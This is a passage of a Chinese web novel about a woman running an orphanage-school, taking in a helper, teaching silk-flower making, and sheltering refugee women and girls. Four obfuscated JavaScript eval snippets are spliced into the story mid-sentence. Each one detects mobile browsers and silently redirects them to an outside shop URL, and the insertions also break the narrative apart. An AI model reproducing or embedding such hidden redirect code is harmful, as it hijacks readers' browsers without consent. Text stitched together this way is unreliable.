吃完饭,姜佑安见天已经晚了,就没有去找戴庭芳,第二天她照例上山砍柴,把这事抛到了脑后,吃午饭的时候看到戴庭芳,才又想起来。 戴庭芳依旧沉默着,吃完饭收拾了自己的碗筷,就回了房间,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14533809|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑安跟着他出了二门,正要往他的房间走,看到一个人在院门内,正探头探脑往里看。 姜佑安仔细一看,原来是好久没见的徐洪愿,她走过去问道:“徐娘子,你不是回娘家了吗?怎么到这儿来了?” 徐洪愿有些不好意思地走了出来,“姜院长,我家的稻收完了,麦也种上了,家里没什么活,我就想着过来看看。” “来就来呗,谁还能不让你进?躲在门口干什么?”姜佑安笑着说道。 徐洪愿笑了笑,指了指门口堆放着的两麻袋稻谷,向姜佑安问道:“我运了些稻来,不知道姜院长需不需要。” 姜佑安向她身后看了看,有些惊讶,“这两麻袋稻是你运来的?怎么运来的?” 徐洪愿拉着姜佑安往外走,“是我娘和我爹一起运来的。” 姜佑安跨出院门,见门外除了有两麻袋稻,还有两个人和一辆板车。两个人穿着粗布衣服,皮肤黝黑,脸上带着拘谨的笑。 “这位就是姜院长吗?”徐洪愿的母亲向徐洪愿问道。 “我是。”姜佑安抢先答道,快步走了过去,“两位就是徐娘子的父母?” “是。”徐洪愿的母亲脸上带着笑,眼睛却红红的,“洪愿回家后,我才知道她在婆家过的是什么日子,是你和袁娘子帮她脱离了苦海,我们家穷,只有自家打的粮食能拿得出手,东西不多,你收下吧。” “是啊,姜院长,您就收下吧。”徐洪愿说道。 姜佑安笑了笑,“既然是伯母的一片心意,那我就不推辞了,从家里送过来,一路辛苦了,伯母,伯父,进屋坐坐喝杯茶吧。” “不了不了,我们把洪愿送过来,就回去了。”徐洪愿的母亲笑着说道:“本来她要自己送过来的,我们俩在家也没事,就跟过来送她一程。” 姜佑安疑惑地看向徐洪愿,“伯母这是什么意思?你要留在这里?” “这孩子,你还没跟姜院长说呢?”徐洪愿的母亲抱怨道。 徐洪愿局促地笑了笑,“我没太好意思讲。” “是你说要过来给姜院长帮忙的,跟我们说了好几天,我和你爹都同意了,你怎么又不好意思了?”徐洪愿的母亲说道。 姜佑安拉过徐洪愿的手,“徐娘子,你想留下来帮我?” “是。”徐洪愿怀着忐忑不安的心情,抬头看着姜佑安,“我在这里养伤的那段日子,我觉得很开心,我喜欢这里,我可以帮忙照顾孩子、洗衣服、做饭,出去卖花、卖饼,我都行的,姜院长,我可以留下吗?” 姜佑安微笑着点了点头,“当然可以,谢谢你,徐娘子,欢迎你回来。” 徐洪愿开心地笑了,向姜佑安鞠了一躬,“多谢姜院长。” “好啊,姜院长愿意留下你就行,我跟你爹这就回去了,你有空就回去看看我们。”两人说着推着板车掉了头,往大路走去。 “娘。”徐洪愿走过去,拉住了母亲的胳膊,“走了这么远了,进去歇歇,喝杯茶再走吧。” 姜佑安也走了过去,笑着问道:“伯母,伯父,进去坐坐吧,你们不想看看自己女儿住在什么地方吗?” 113. 绢花 听到姜佑安这么说,两人把板车推到了墙边,脸上带着羞涩的笑。 “那我们就进去看看。” “对,看看。” 姜佑安把徐洪愿的父母请进了院子,向袁竹她们介绍了二人,又说了徐洪愿要留下的事,大家听了都很开心,簇拥着把三人请去堂屋里坐了。 姜佑安知道她一家人一路赶过来,肯定没吃午饭,安排了阮荷和杨恩简单给她们做点饭吃,就和李长风一起去把门口的稻抬了进来。 阮荷把中午的米饭热了热,切了点腊肉,简单炒了个菜,又做了个汤,端去给三人吃。 三个人都是又渴又饿,很快把饭菜和汤都吃得一干二净。 徐洪愿的父母见这边吃住都不错,也就放心地离开了。 吃完饭,送走了爹娘,徐洪愿回到厨房抢着洗碗,杨恩已经快洗完了,让她去袁竹那里看看有什么又什么要帮忙的。 徐洪愿去袁竹房里,跟袁竹和钟二娘一起做起冬衣来,还说第二天要一起去卖花,袁竹说花期要过了,不用出门卖花了,问她会不会织布,徐洪愿说会,袁竹便跟她说,等织机送来了,要她教孩子们织布。 找到了自己能干的活儿,徐洪愿很高兴,和她们二人在房里聊着天,做着针线,不时有孩子从后院过来,跟她打招呼。 姜佑安见徐洪愿已经安排妥当了,便去找戴庭芳去了。 学堂里邵苏木在教算术,房间里戴庭芳在休息,姜佑安过去敲了敲门,房里传来戴庭芳的声音,“请进。” 姜佑安推门进去,看到戴庭芳正坐在窗边看书,他抬起头来,平静地问道:“姜院长,找我有什么事吗?” “没什么事,就是想跟你聊会儿天,戴老师,你现在有空吗?”姜佑安问道。 “有空。”戴庭芳把书放在桌上,去搬了椅子给姜佑安坐,“坐下说吧。” 姜佑安在椅子上坐了,微笑着问道:“我听杨恩说,你最近难以入睡,半夜醒来还独自叹气,戴老师是有什么烦心事吗?” “我是不是打扰到杨恩休息了?”戴庭芳问道。 “这个他倒没说,只是担心你是不是有什么心事,他说他问了你,你也不肯说。”姜佑安说道。 “我没什么事,让你们操心了。”戴庭芳垂下眼帘,“我以后一定早睡早起,不再给杨恩添麻烦。” “戴老师,杨恩没觉得有什么麻烦,你是不是和别人一起住,不太习惯,睡不好?”姜佑安耐着性子问道。 戴庭芳不能说自己睡不着是因为姜佑安,只好撒了个谎,“没有,我只是夜里常想起我父母,才会睡不着。” “最近程祥来得少了,听不见家里的消息,确实会让人忧心,不如明天也让邵老师来教,你回家看看去吧。”姜佑安说道。 “好,那我就回去一趟。”为避免姜佑安继续担心,戴庭芳答应道。 “那你休息吧,邵老师那边我去跟她说。”姜佑安站起身来,走过去拍了拍他的肩膀,转身走了出去。 戴庭芳靠在椅背上,独自发了很久的呆,轻轻叹了口气,才又拿起书,继续看下去。 回了趟家,戴庭芳和父亲的关系缓和了不少,母亲拉着他问东问西,担心他在外面过得不好,程祥守在门外,等着问他霍静的消息。 戴庭芳跟程祥说了霍静在女子书院读书的事,还说了邵苏木现在精神不错,姜佑安聘请了她教书的事。 程祥听了,十分高兴,拿了一本菜谱,要戴庭芳转交给阮荷,又拿了几本书来,让他帮忙转交给霍静。 回到袁家后,戴庭芳把程祥给他的东西都转交了,还拿了很多点心分给大家吃,大家见他的心情好了不少,也就放心了, 天气越来越冷,菊花的花期过了,袁竹留着做种的花收了回来,除去干枯的花瓣,把种子小心收好,阮荷把缸里结的老莲子收了起来,想要明年再种。 袁竹买的织机送上门来,组装好了之后,她又买了丝线,钟二娘和徐洪愿把丝线装上,教大家织布,听说织布可以换钱,孩子们在读书之余,都很积极地学着。 最近许家莺没有来读书,袁竹拿着织好的布去了许家的绸缎庄,想要问问自家织的布,能不能拿店里卖,顺便去看看许家莺。 袁竹回来时,怀里还抱着那匹布,脸上的神色是喜气洋洋的。 “你怎么又把布拿回来了?”姜佑安问道。 “家莺姐姐在做什么?为什么最近都不来读书了?”阮荷问道。 袁竹把布放回了房间里,出来在堂屋里坐下,笑着问道:“你们知道许家莺最近在忙什么吗?” “就是不知道才问你的啊,卖什么关子!”姜佑安抱怨道。 “对啊,家莺姐姐怎么了?你就直说吧。”阮荷着急地问道。 “她要接管许家的绸缎庄,正在忙着跟她爹学着做生意呢。”袁竹笑着说道。 “许家莺要接管绸缎庄?”姜佑安奇怪地问道:“不是说绸缎庄要给她哥,才没让她读书习字的吗?” 阮荷有些担心,“对啊,家莺姐姐的哥哥是出什么事了吗?” 袁竹笑了笑,“她哥是有事,不过不是坏事,是好事。” “什么好事?”阮荷问道。 “龙家去许家提亲,许家莺的哥哥要入赘到龙家去了,明年过完年就成亲,她哥哥不想接手绸缎庄,正好许家莺识了字,她爹就让她接手了,还说以后也给她招个赘婿。”袁竹说道。 “没想到竟然是许家莺的哥哥入赘到龙家去了,看来龙世蓉早就看好他了。”姜佑安笑着说道。 阮荷也很高兴,“世蓉姐姐招了婿,家莺姐姐接管了绸缎庄,两家还结了亲,这真是天大的好事!” “既然是许家莺接手了绸缎庄,你怎么还把布拿回来了?她不肯收?”姜佑安问道。 “不是,她说最近店里不缺这种料子,缺一种绢花,明天书院不是休息吗?她说她要找人过来教我们,绢花要是做得好,比单纯织布赚的多。”袁竹说道。 “你觉得能行吗?”姜佑安有些担心,“孩子们才刚学会织布,又要学做绢花,做了绢花真的能卖出去吗?” 袁竹则信心十足,“我卖花的时候就常想,要是用别的东西做成花的形状,戴在头上,比鲜花要长久,还比花瓶簪分量轻,应该会卖得好,在县里,我见过有人头上戴着绢花,挺好看的,虽说价格贵些,但戴得长久,会有人买的。” “这是家莺姐姐的提议,她知道我们这里的情况,肯定也想帮我们挣钱的,要是卖不出去,她应该不会给我们出这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14543649|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的主意,还找人来教我们。”阮荷分析道。 姜佑安点了点头,“你说的有理,那就试试吧。” 第二天,许家莺果然带着人来了,还带着一堆做绢花的工具,大家在学堂的桌子上,耐心地学习着,确保每一个人都弄懂了不同的花瓣怎么制作、花朵怎么缝制之后,她才带着自家的织女离开了。 用许家莺留下的一匹绢,钟二娘和郭英带着大家开始了练习,一开始都难免缝得歪七扭八,后来都越来越好,有了真花的模样了。 杨恩在打床之余,削了一些木簪子,钟二娘和徐洪愿把绢花绑在簪子上,分给大家戴,大家头戴红色绢花,开心地继续制作绢花。 第一批绢花交货后,袁竹买了染料回来,大家用白色的绢,自己染色,自己制作,做出了更加绚烂多彩的绢花,许家莺通通买了去。 袁竹卖绢花回来后,给大家发了零花钱,说许家莺对大家制作的绢花特别满意,还提高了绢花的收购价,大家拿了钱,都非常高兴,兴致勃勃地提出自己的新点子、新做法,袁竹也就由着她们去试、去做。 不光住在袁家的学生做绢花很积极,就连附近在家住的学生,休息时也会跑来一起做绢花,挣些零花钱。 阮晨烟的绢花做得特别好看,每一朵都灵动有型,是许家莺店里卖得最好的,袁竹特意给她加了钱。 自己能挣钱后,阮晨烟就能理直气壮地来读书了,再也不用从阮荷手里拿钱回家了,在家里做绢花时,也没有人催着她做饭洗衣服了,她脸上的笑容都自信了许多。 姜佑安提醒阮晨烟,不要把挣来的钱都给父母,自己要留一些,阮晨烟很听话,之后每次发钱,她都会留一些,让阮荷帮她存着,阮荷也贴心地给她记了账。 孩子们的冬衣都做好了,大家穿得暖暖和和的,坐在学堂里读书,或是在后院的房间里做绢花,其乐融融。 钟二娘她们也都在做绢花,袁竹却还在做冬衣,她说是给冬天可能会来的孩子准备的,张慈得空的时候,也会过来帮着一起做,书院休息时,李初五就和孩子们一起去做绢花。 袁家宅子里热热闹闹地忙碌着,衰败的玫瑰花田旁,几座房屋已经修缮完毕,只等着人入住了。 李长风摘的柿子吃完了,柴房里已经囤了足够的柴,姜佑安也不再上山了,吃早饭的时候,她跟袁竹商量起那几间房的事。 “戴老师每天读书写字的,需要安静的环境,跟别人合住,不太方便,玫瑰花田边的房子不是修好了吗?我想分一所给戴老师,袁竹,你有别的安排吗?”姜佑安问道。 “我没意见,你安排吧。”袁竹说道。 “姜院长,我和杨恩一起住挺好的,在这里住,教书也方便,我不想搬出去。”戴庭芳明确地说道。 “既然戴老师不想搬出去,那还是我搬出去吧。”姜佑安说道。 袁竹感到难以理解,“你搬出去?你为什么要搬出去?” “就跟你在准备冬衣的理由一样,我想把我的房间腾出来,把杨恩最近打的床都放进去,这样就能住更多的人了。”姜佑安说道。 袁竹听了,生气地把筷子拍在了桌子上,“你什么意思?我帮着你收留了这么多人,现在你拍拍屁股搬出去,把这边的烂摊子都留给我?” 114. 流民 “对啊,佑安姐姐,你怎么能搬出去呢?”阮荷也附和道。 “就在玫瑰田边上,离得又不远,我走走就回来了。”姜佑安说道。 袁竹冷着一张脸,“想走你就走吧,不回来也没人管你!” “你生什么气嘛。”姜佑安笑了笑,想要缓和一下气氛,“我肯定要回来的,这里就是我的家,我还能去哪儿?” “谁知道你要去哪儿?肯定是有别的打算了吧。”袁竹撇过头去,“之前你不是说黎公子让你去定州找他吗?搬出去之后,想去定州城还是什么别的地方,都随你。” “袁娘子,你误会姜院长了,她只是想给孩子们腾出个房间用而已。”戴庭芳说道。 “我看姜院长还是留在这里吧,要腾出房间来,可以把倒座房也给孩子们住,我们搬出去,这宅子里只有女人住,也方便些。”杨恩说道。 “对啊,姜姐姐,你搬出去住不安全,还是留在这里吧。”李长风也附和道。 阮荷心里不大舒服,“大家一起住在这里,不是挺好的吗?为什么一定要搬出去?” “我是担心到时候孩子多了,没地方住。”姜佑安解释道。 “我那房间还有空地,让杨大哥把床放我那里,还能住两三个。”阮荷说道。 “真到那时候再说,一个冬天而已,能添多少人?这宅子这么大,还能住不下?别瞎操心了。”袁竹说道。 “你说得对。”姜佑安点了点头,“那就到时候再说吧,不搬了,大家都不用搬出去了。” 听到她这么说,阮荷放心地笑了,“快吃饭吧,一会儿菜都凉了。” 天气越来越冷,果然又有一个六七岁的小女孩被丢弃在袁家门口,杨恩把她领进了院子,带到了堂屋里,姜佑安握住了她冰凉的小手,阮荷给她端来了热腾腾的早饭。 小女孩面对大家的问话,始终一言不发,狼吞虎咽地吃过饱了饭,跪下磕了个头,转身跑了出去。 隔了两天,小女孩又来到袁家,阮荷招待她吃了午饭,她依然一个字都没说。 大家都怀疑她是不是不能说话,钟二娘叫来了钟明珠,安慰小女孩,告诉她可以留下,钟明珠也不会说话,她们俩可以一起做个伴儿。 小女孩怯生生地看着钟明珠,钟明珠冲她笑了笑,拉着她的手,带她去了后院。 小女孩和钟明珠一起玩了一下午,神情舒展了许多,钟二娘看她穿得单薄,给她换上了棉衣,吃晚饭,她捧着碗,泣不成声。 钟二娘把她搂在怀里安慰,告诉她不要怕,这里就是她的新家,姜院长和袁娘子都会接纳她,她可以在住下,还可以学习读书写字,以后学做绢花,还能挣点儿钱花。 小女孩听了,哭得更厉害了,饭都不吃了,要去找姜院长和袁娘子,钟二娘就带着她去了前院。 前院的人正在吃饭,看到钟二娘带着哭泣的小女孩来了,都担心地看过去,姜佑安放下筷子,迎了过去,“怎么这是?想家了?” “我跟她说,她可以留在这里,她就哭着要来找你和袁娘子。”钟二娘替她解释道。 袁竹起身走了过来,姜佑安在小女孩面前蹲下,轻声问道:“原来你会说话啊,你来找我有什么事?” “我爹娘不要我了。”小女孩哭着说道。 姜佑安拿出给她擦眼泪,“他们不要你,是他们没福气,我们要你,你以后就在这里住,这里就是你的家。” 小女孩伸出手,抓住了姜佑安的衣角,说话带着哭腔,“我爹娘不要我,但箫姐姐要我,她给我吃的,还给我衣裳穿,好心的姐姐,我能拿点儿吃的,去送给箫姐姐吗?” “你箫姐姐也没有东西吃?”姜佑安问道。 “原本有的,箫姐姐说带出来的钱都花光了,没有吃的,很快就要饿死了。”小女孩哭着说道:“箫姐姐把她的吃的都给我了,我要害死她了。” 袁竹弯下腰,看着小女孩问道:“你叫什么名字?从哪里来的?你说的箫姐姐又是什么人?” “我叫春花,从很远的地方来,我们走了好久好久,才到了这里,箫姐姐是我路上遇到的姐姐,她对我很好,我不想让她死。”春花说道。 阮荷也走了过来,向春花问道:“你不知道自己原先住的地方叫什么?” “我爹娘不让我说,我也不记得了,箫姐姐说,不记得最好,谁问都说不知道。”春花说道。 姜佑安把春花牵过去,让她在椅子上坐下,“箫姐姐为什么要你说不知道?” 春花用袖子抹了抹眼泪,“箫姐姐说很危险,我爹娘也说,好不容易逃出来,再也不想回去了。” “你们是逃出来的?为什么要逃?”袁竹问道。 “我爹娘说,他们欺负人,人不像人,活不下去了。”春花说道。 “谁欺负人?”姜佑安问道。 “很多大人。”春花说道。 “你知道箫姐姐现在在哪吗?”姜佑安又问道。 春花点了点头,“知道。” “那我跟你一起去给箫姐姐送点儿吃的。”姜佑安去厨房拿了一个汤碗来,装了四个馒头,牵着春花往外走,“孩子说不明白,趁着天还没黑,我跟她一块去把箫姐姐找回来,问清楚到底是怎么回事。” “我也去!”杨恩、李长风和戴庭芳同时站起身说道。 姜佑安回头看了看,“你们先吃饭吧,长风,你拿个馒头跟我来。” 李长风点点头,手上抓着一个馒头,跟着姜佑安出了二门,又去自己房里拿了长剑,跟在两人身后出了院门。 春花出了门,向右拐,牵着姜佑安,顺着小路向前走,路过了枯萎的玫瑰花田,路过了新修好的房子,转过了五六个山角,来到了山下一个避风处,那里搭了一个简易的窝棚。 春花松开姜佑安的手,冲着窝棚跑过去,开心地叫道:“箫姐姐,我带吃的回来了。” 窝棚里发出一阵窸窸窣窣的声响,紧接着,就有六七个女孩子跑了出来。 “春花!你跑哪儿去了!” “什么吃的?” “你弄到吃的了?” “你身上这衣服哪来的?” “后面那人是谁啊?” 女孩子们七嘴八舌地向春花问道。 “她是个大好人,拿了馒头给箫姐姐吃。”春花高兴地介绍道。 本以为只有箫姐姐一个人,没想到还有这么多孩子,姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558404|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佑安走了过去,向春花抱怨道:“有这么多人,你也不说清楚,我就拿了这几个馒头,哪里够分?” 孩子们看着馒头,咽着口水。 “先给箫姐姐吃。”一个孩子说道。 “对,箫姐姐病了,给箫姐姐吃。”又一个孩子附和道。 “箫姐姐在哪呢?”姜佑安问道。 “在里面。”春花指着窝棚里说道。 姜佑安在孩子们的包围下,弯腰进了窝棚,棚顶是厚厚的茅草,让黄昏本就暗淡的光线更黑一层,她模模糊糊地看到地上铺着一层稻草,有一个人躺在地上,还有三四个女人跪坐在旁边。 怎么有这么多人?她们是什么时候来到这里生活的?怎么从没听说过? 适应了窝棚里的黑暗后,姜佑安走了过去,“她就是箫姐姐?” “是。”春花过去,蹲在箫悦笙的身边,“箫姐姐,我带馒头回来了,你吃点儿吧。” 听到春花的声音,箫悦笙强撑着身体,坐了起来,“你怎么回来了,她们不愿意收留你?” “是你让春花去袁家的?”姜佑安问道。 箫悦笙这才注意到窝棚里来了陌生人,“你是袁家人?抱歉,给你添麻烦了,我听说袁家收养孤儿,才让春花去的,我快要死了,这么多人跟着我,我实在不知道该怎么办了。” “箫姐姐,你不要死。” “我不要你死。” “箫姐姐,你好好活着,我们大家都活着。” “我不想走,我要跟着你,哪儿也不去。” 孩子们一听说箫悦笙要死了,纷纷哭了起来,在一旁的几个女人也都默默擦着眼泪。 “你得了什么病?多少日子了?看过大夫吗?”姜佑安蹲下身问道。 “我不知道,我没钱看大夫,有钱不如给孩子们弄点儿吃的,还能让大家多活些日子。”箫悦笙说道。 姜佑安看了看四周在哭泣的孩子,“这些孩子是哪来的?” “有被父母丢弃的,也有的是卖给我的。”箫悦笙说道。 “你都吃不起饭了,还花钱买孩子?”姜佑安问道。 “买的时候,我手里还有点钱,只是,没想到会落入这种境地。”萧悦笙体力不支,躺了下去,“好心人,这些孩子都是好孩子,需要干活时,绝不偷懒,求你把她们带回去,能有个地方住,有口饭吃就行。” 天色一点点黑了下来,姜佑安有些心急地看了看外面,“那你怎么办?” “命数如此,我也不能违抗。”箫悦笙叹了口气,“能给她们找个归宿,我就心安了。” “那可不行。”姜佑安把装着馒头的汤碗放到春花手上,拽着箫悦笙的胳膊,把她拽了起来,“长风,过来帮帮忙,把她扶到我背上去。” “你要干什么?”一个女人戒备地问道。 姜佑安在箫悦笙面前蹲下,“给她找个不漏风的地方睡。” 女人们拦住了李长风,把箫悦笙扶到了姜佑安背上,姜佑安背着她走出了窝棚,外面天已经黑了,勉强还能看得清路。 姜佑安在前面走着,扬声说道:“想给你们箫姐姐治病的,都跟我走,去我那里干活,挣钱给她请大夫买药。” 115. 收留 大人和孩子们听了,眼里有了希望,脸上也有了笑意,深一脚浅一脚地跟在姜佑安身后,李长风在最后面,护着她们来到了袁家。 姜佑安把箫悦笙背进了自己房里,让她在自己床上休息,又去厨房让杨恩给她们弄点儿饭吃。 阮荷给房间里点了油灯,袁竹看着这些女人和女孩,奇怪地向姜佑安问道:“你不是去找春花的萧姐姐了吗?怎么带回来这么多人?” “这都是她萧姐姐身边的人,住的地方漏风,吃的东西也没了,我总不能看着她们在那里挨饿受冻,然后死在那里吧。”姜佑安说道。 “你尽揽一些麻烦事!”袁竹抱怨道。 姜佑安笑了笑,“要是去的是你,看见这些人没饭吃,你能不管?” 袁竹撇了撇嘴,“别的不说,这么多人,住哪儿啊?” 姜佑安点了点数,不算箫悦笙,大人有五个,小孩有八个,人数确实不少,真是不好安排。 一个女人走了过来,“给你们添麻烦了,你看要是能给孩子们安排个住处,就让她们先睡去,要是没有地方,我们就都在地上睡也行。” “这么冷的天,睡地上哪能行?你放心,姜佑安把你们领进来,肯定能给你们安排好住处。”袁竹说道。 “对,肯定不会让你们睡地上,别担心,你们先坐下歇一歇,等会儿吃完饭再说吧。” 阮荷在房间里点了火盆,孩子们都聚拢了过来,伸出双手在火盆上烘烤。 袁竹去把她做的棉衣拿出来给孩子们穿,谁穿着合适,就先穿着,没有合适衣服的,等之后再做。她还把自己的衣服分给那些女人们,让她们穿得暖和些。 杨恩做好了疙瘩汤,让大家去盛来吃,姜佑安说要把自己的房间让给她们住,让杨恩把他做好的床都抬到这里来。 姜佑安去村里请郎中去了,杨恩叫了李长风和戴庭芳一起去搬床,钟二娘听见前院很热闹,过来看看发生了什么,见来了这么多人,就回去徐洪愿一起商量,挪挪铺位,看看后院还能住几个人。 杨恩他们搬了三张床过来,两张大床一张小床,为了能多睡几个人,杨恩做的大床很大,两张大床加上原本的一张床,把房间里占了七八分,还剩一张小床怎么也放不进去了。 袁竹让他们先放到堂屋里,等会儿放她房间里去。 姜佑安带着郎中来了,郎中看了看箫悦笙的脸色,问了她一些问题,又诊了诊脉,叹了口气。 “她的病怎么样?”姜佑安问道。 郎中摇了摇头,“不太好,她都病得这么重了,你们怎么不早点找我来?如今拖成这个样子,我也不能确定还能不能治好。” “她是今天才到我这儿来的,还请您尽力救治。”姜佑安说道。 “这样吧,我先开个方子,你同我去抓药,早晚煎服各一次,饭也照常给她吃,等三天之后,我看她恢复的情况,再决定下一步怎么治疗。”郎中说道。 袁竹付了看病和抓药的钱,姜佑安跟着郎中一起去抓药,戴庭芳在院门口等着她。 月光下,姜佑安拎着药包走了回来,戴庭芳把她迎进门,关上了院门。 箫悦笙吃了点儿东西,喝了药,就昏昏沉沉地睡着了。 后院的床铺收拾好后,钟二娘领走了两个大人两个孩子,房间的两个大床也铺好了被褥,各睡一个大人带三个孩子,还剩一个人,说要睡在箫悦笙的旁边,方便照顾她。 如此一来,所有人都有了地方睡,就只剩下把房间让出来的姜佑安了。 袁竹说要把堂屋里的小床搬到她房间里,让姜佑安过去睡,姜佑安没有同意,说袁竹习惯了自己睡一个房间,要把主屋东侧的耳房收拾出来自己过去住。 听到姜佑安说要去睡耳房,而不是搬到玫瑰花田那边去,大家都松了一口气。 主屋旁的耳房空间不大,平时都是当仓房用的,大家一起动手,把东侧耳房里的东西都搬到了学堂旁的耳房里,又把堂屋里的小床搬了进去。 阮荷和姜佑安一起铺好了床,大家就各自休息去了,姜佑安也熄了油灯,上床睡了。 第二天一早,厨房里格外热闹,昨晚跟过来的女人们都不愿意吃白饭,烧火的烧火,做饭的做饭,煎药的煎药,反而把阮荷和杨恩赶出了厨房休息。 吃完饭,她们又抢着去洗碗、扫地、洗衣服,孩子们也都跟着帮忙一起干,确实如那位箫姐姐所说,她们都是能干活的,只要有地方住,有口吃的就行。 姜佑安让孩子们都去学堂跟着戴庭芳学写字去,把那些女人们都叫到堂屋去,大家一起坐着喝喝茶,邵苏木和徐洪愿也来了。 大家互相介绍了一番,姜佑安问道:“春花说你们是从很远的地方来的,她也说不清是什么地方,我要是问你们从什么地方来,你们方便说吗?” 石倩手捧着茶杯,有些拘谨地答道:“姜院长,您别误会,我们都是来历清白的好人。” 陆欢昨晚在后院睡,通过和钟二娘、徐洪愿的交谈,她已经知道了姜佑安和袁竹的为人,于是大胆地说道:“我们是从北方边境逃过来的。” “边境发生战乱了吗?为什么要逃?”姜佑安问道。 “说是边境,其实是历国。”回忆起往事,陆欢的面色十分凝重,“十八年前,历国突袭,将边境的五个县占为己有,我们居住的望海县也在其中。” “你们是从历国逃出来的?真是不容易。”袁竹感叹道。 “确实不容易。”石倩叹了口气,“我们去年秋天从望海县出来,离开故土,无处栖身,辗转来到这里,要不是你们把我们接过来,我们真不知道能不能撑过这个冬天。” “只有你们这些女人和孩子逃出来了吗?你们的丈夫呢?”邵苏木问道。 “我们都不是有钱人,一路走过来,钱越来越少,那些男人们为了活下去,有的卖女卖妻换些钱,有的就直接抛下孩子自己跑了。”石倩说道。 “我和我女儿当时差点就被卖了,还好遇到了箫悦笙,这一路上,落单的孩子,即将被卖的女人,都被她收留了。”陆欢说道。 石倩忍不住又叹了口气,“箫悦笙是自己逃出来的,她本来还有点财产,可惜都用在我们身上了。” “对啊,老天真是不长眼,她是多么心善的一个好人,怎么偏偏就让她生病了!”陆欢附和道。 “她也是跟你们一起逃出来的?”姜佑安问道。 “不是。”陆欢摇了摇头,“她是从天福县来的,我们是在半路遇到的,她是个坚强的人,一路上都没有抛下我们,有人来驱赶,也都是她在保护我们。” 姜佑安想起早上去看箫悦笙时,她脸上的疤痕格外明显,“她脸上的伤,也是为了保护你们才伤到的吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14572581|144104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 房间里一时沉默下来,陆欢咬着嘴唇,良久才说道:“不是,我们遇到她的时候,她脸上的伤就已经有了。” 又是一阵沉默,姜佑安喝了一口凉掉的茶水,“盛国根本无力保护你们,你们为什么还要逃回来?” 房间里的气氛更加沉闷,五个人都低着头不说话。 “她们本就是盛国的人,不想留在历国,不想做历国的子民,也属正常,更何况,她们也是被家里人带着走的,可能根本轮不到她们拿主意。”邵苏木替她们解释道。 袁竹见状转移了话题,“箫姑娘醒了吗?” “早上醒了一阵子,喝了药又睡了。”陆欢说道。 “吃早饭了吗?”姜佑安问道。 “吃了,吃的不多。”石倩答道。 “能吃得下饭,总归还是有希望的,我进去看看她。”姜佑安站起身来,向她原本的房间走去。 大家听了,也跟在她后面进了屋,想看看箫悦笙的病情如何。 箫悦笙躺在床上,闭着眼,神情安详,像是没有任何病痛,只是困倦得睡着了。 只有姜佑安心里清楚,她病得很严重,此时不知是睡着了,还是昏迷了,也不知道这一睡,她还能不能醒来。 房间里很安静,大家都无声地注视着箫悦笙,希望她能早日康复。 姜佑安走出了房间,大家也跟了出来,只留了一人在房间里照顾箫悦笙。 “你们说她是自己逃出来的,她的家人呢?”姜佑安问道。 “这,我们不太清楚。”陆欢说道。 “她从来不提她的家人,我们问她,她也不肯说。”石倩说道。 “可能是有什么难言之隐吧。”邵苏木说道。 姜佑安点了点头,“只能等她醒来再说了。” 袁竹看那房间里过于拥挤,跟姜佑安商量,要把她们挪到玫瑰花田那边去住,女人们听了,都不肯走,说要在这里守着箫悦笙,离得远了,她们不放心。 姜佑安觉得让这些女人搬过去,那些孩子肯定也想跟过去,一群年轻的女人和孩子,没有人看护,四周又没有什么人家,还是有些危险。 袁竹觉得姜佑安说得也有道理,她们在这里人生地不熟的,要是遇到什么事,喊叫起来,这边也根本听不见。 商量了一阵,袁竹还是决定让她们先住着,为了让她们住得宽敞些,姜佑安在考虑把学堂挪到玫瑰花田那边去,把西厢房给她们住,想等箫悦笙好些了,再挪动。 但箫悦笙的病迟迟不见好,昏迷的时间多,清醒的时间少,药每天早晚都给她灌下去,每顿吃的饭却越来越少,三天后,连气息都变得微弱。 郎中每天傍晚都过来给她把脉,此时也只能遗憾地摇了摇头,“她的身子撑不住了,你们好好跟她告个别吧。” 一时间,房间里的大人孩子都哭了起来。 